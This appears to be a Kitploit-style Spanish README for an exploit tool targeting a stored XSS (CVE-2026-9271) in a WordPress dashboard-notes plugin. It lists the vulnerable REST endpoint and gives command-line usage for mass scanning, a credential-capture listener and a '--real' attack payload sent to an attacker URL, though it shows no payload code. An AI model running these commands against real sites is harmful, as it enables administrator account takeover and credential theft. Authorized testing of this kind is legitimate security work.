WordPress-KeepInMind-CVE-2026-9271-Exploit — Herramienta autorizada de evaluación de XSS almacenado para CVE-2026-9271 en el plugin KeepInMind de WordPress. Detecta versiones vulnerables, inyecta payloads de prueba seguros y admite escaneo masivo con informes SQLite. | Kitploit

Atributo	Valor
CVE ID	CVE-2026-9271
Vector de ataque	Autenticado (Contribuidor+) → XSS almacenado → Impacto en administrador
Impacto	XSS en navegador de administrador; posible toma de control de cuenta en instalaciones vulnerables
Producto afectado	WordPress KeepInMind / KeepInMind Dashboard Notes
Versiones afectadas	≤ 0.8.4.2 (parcheado en 0.8.4.3+)
Tipo de vulnerabilidad	Cross-Site Scripting (XSS) Almacenado
CWE	CWE-79 (Improper Neutralization of Input During Web Page Generation)

Superficie	Rol
`/wp-json/keepinmind/v1/notes`	API REST utilizada para crear/leer notas
`/wp-admin/`	Panel de administración donde las notas almacenadas pueden renderizarse
Ruta del plugin	`/wp-content/plugins/keepinmind-dashboard-notes/`

Capacidad	Descripción
Detección de plugin	Comprueba rutas de instalación de KeepInMind y cadenas de versión
Versión de WordPress	Extrae metadatos de generador/versión cuando están disponibles
Modo de prueba seguro	Marcador superpuesto por defecto que prueba XSS sin capturar credenciales
Evaluación autenticada	Inicia sesión con credenciales de Contribuidor+ para inyección REST completa
Limpieza de payload	Elimina las notas inyectadas después de la evaluación
Escaneo masivo	Escaneo multihebra de lista de URL para plugin + versión vulnerable
Historial SQLite	Almacena evaluaciones en `kim_guardian.db`
Informes de texto	Escribe informes con marca de tiempo bajo `reports/`
Servidor de captura	Oyente HTTP local opcional para simulaciones de captura de credenciales en laboratorio
Interfaz web	Dashboard Flask opcional (modo `web`)

Capacidad	Descripción
Registro detallado	Depuración en archivo + consola bajo `logs/`
Soporte de proxy	Enrutar tráfico a través de Burp u otros proxies HTTP
Tiempo de espera configurable	Tiempo de espera por solicitud (30s por defecto)
Pool de trabajadores	Concurrencia ajustable para escaneos masivos

cd /path/to/exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt
# Paquetes adicionales recomendados usados por este script:
pip install colorama beautifulsoup4 requests flask

python3 CVE-2026-9271.py --help

# Ayuda / modos
python3 CVE-2026-9271.py --help

# Evaluación segura de un solo objetivo (por defecto: payload de prueba)
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' -v

# Escaneo masivo de versión / plugin
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt

# Listar evaluaciones recientes desde SQLite
python3 CVE-2026-9271.py db --list --limit 20

# Servidor de captura local (solo laboratorio)
python3 CVE-2026-9271.py capture --port 5000

# Interfaz web opcional
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080

# Terminal 1 — oyente de captura
python3 CVE-2026-9271.py capture --port 5000

# Terminal 2 — evaluación con endpoint de captura
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  -a http://127.0.0.1:5000 \
  --real \
  -v

# targets.txt — una URL por línea
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt

# O URLs separadas por comas
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3

Modo	Descripción
`assess`	Evaluación de KeepInMind de un solo objetivo
`bulk`	Escaneo masivo de plugin/versión multiobjetivo
`capture`	Servidor HTTP local de captura de credenciales
`web`	Interfaz web Flask opcional
`db`	Listar evaluaciones almacenadas

Argumento	Por defecto	Descripción
`url`	requerido	URL objetivo de WordPress
`-u`, `--username`	—	Nombre de usuario de WordPress (Contribuidor+)
`-p`, `--password`	—	Contraseña de WordPress
`-a`, `--attacker`	—	URL base del servidor de captura (simulación de laboratorio)
`-t`, `--test`	activado	Preferir payload de prueba seguro
`-r`, `--real`	desactivado	Habilitar payload de ataque de laboratorio (necesita `--attacker`)
`--no-cleanup`	desactivado	Dejar notas inyectadas en su lugar
`-v`, `--verbose`	desactivado	Registro detallado / depuración
`--timeout`	`30`	Tiempo de espera por solicitud (segundos)
`--proxy`	—	URL del proxy (ej. `http://127.0.0.1:8080`)

Argumento	Por defecto	Descripción
`-f`, `--file`	—	Archivo de URLs (una por línea)
`-u`, `--urls`	—	URLs separadas por comas
`-w`, `--workers`	`5`	Tamaño del pool de hilos
`-o`, `--output`	`bulk_scan_results.txt`	Ruta del informe

Síntoma	Qué probar
Autenticación fallida	Confirmar credenciales de Contribuidor+; verificar `/wp-login.php`; usar `-v`
Plugin no detectado	Verificar ruta/nombre de KeepInMind; probar modo verbose
Inyección REST falla	Confirmar autenticación + nonce; inspeccionar con `--proxy` a través de Burp
Errores de tiempo de espera / conexión	Aumentar `--timeout`; verificar red / TLS / proxy
Sin vulnerabilidad en modo prueba	Confirmar versión ≤ 0.8.4.2; asegurar que las notas se rendericen para admin
Flask ausente en modo `web`	`pip install flask`
BeautifulSoup ausente	`pip install beautifulsoup4`

exploit/
├── CVE-2026-9271.py      # KIM-Guardian Pro (v1.0)
├── requirements.txt      # Dependencias de Python
├── README.md             # Este archivo
├── kim_guardian.db       # Historial de evaluaciones SQLite (generado)
├── logs/                 # Registros de ejecución (generados)
├── reports/              # Informes de evaluación de texto (generados)
└── venv/                 # Virtualenv local (opcional)

Educational / Defensive Use Only

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is granted to use this software for authorized security research,
education, and defensive assessment only.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Ruta	Propósito
`/`	Página de estado del servidor de captura
`/capture`	Endpoint POST para envíos de formularios
`/captured`	Entradas capturadas recientes (revisión de laboratorio)

Argumento	Por defecto	Descripción
`--host`	`127.0.0.1`	Dirección de enlace
`--port`	`8080`	Puerto de escucha

Rol	Nombre
Autor de la herramienta	Sudeepa Wanigarathna
CVE	CVE-2026-9271
Herramienta	KIM-Guardian Pro v1.0
Script principal	`CVE-2026-9271.py`
Licencia	Educational / Defensive Use

Argumento	Por defecto	Descripción
`--list`	desactivado	Listar evaluaciones recientes
`--limit`	`10`	Máximo de filas a mostrar

WordPress-KeepInMind-CVE-2026-9271-Exploit

Más Populares

KIM-Guardian Pro

CVE-2026-9271 — Evaluación de XSS Almacenado en KeepInMind de WordPress

Tabla de Contenidos

Resumen

Detalles de la Vulnerabilidad

Superficies relevantes

Flujo de evaluación (alto nivel)

Características

Capacidades principales

Controles operativos

Instalación

Requisitos previos

Configuración

Dependencias principales

Inicio rápido

Guía de uso

1. Mostrar ayuda

2. Evaluación segura (recomendada)

3. Omitir limpieza

4. Proxy + tiempo de espera

5. Simulación de ataque en laboratorio (solo entornos autorizados)

6. Escaneo masivo

7. Historial de base de datos

8. Interfaz web

Referencia de comandos

Global

assess

bulk

capture

web

db

Salida e informes

Consola

Informes de texto

SQLite

Registros

Campos del informe masivo

Solución de problemas

Flujo de depuración

Estructura del repositorio

Historial de versiones

v1.0.0 — Lanzamiento inicial

Descargo de responsabilidad

Autor y créditos

Licencia

`assess`

`bulk`

`capture`

`web`

`db`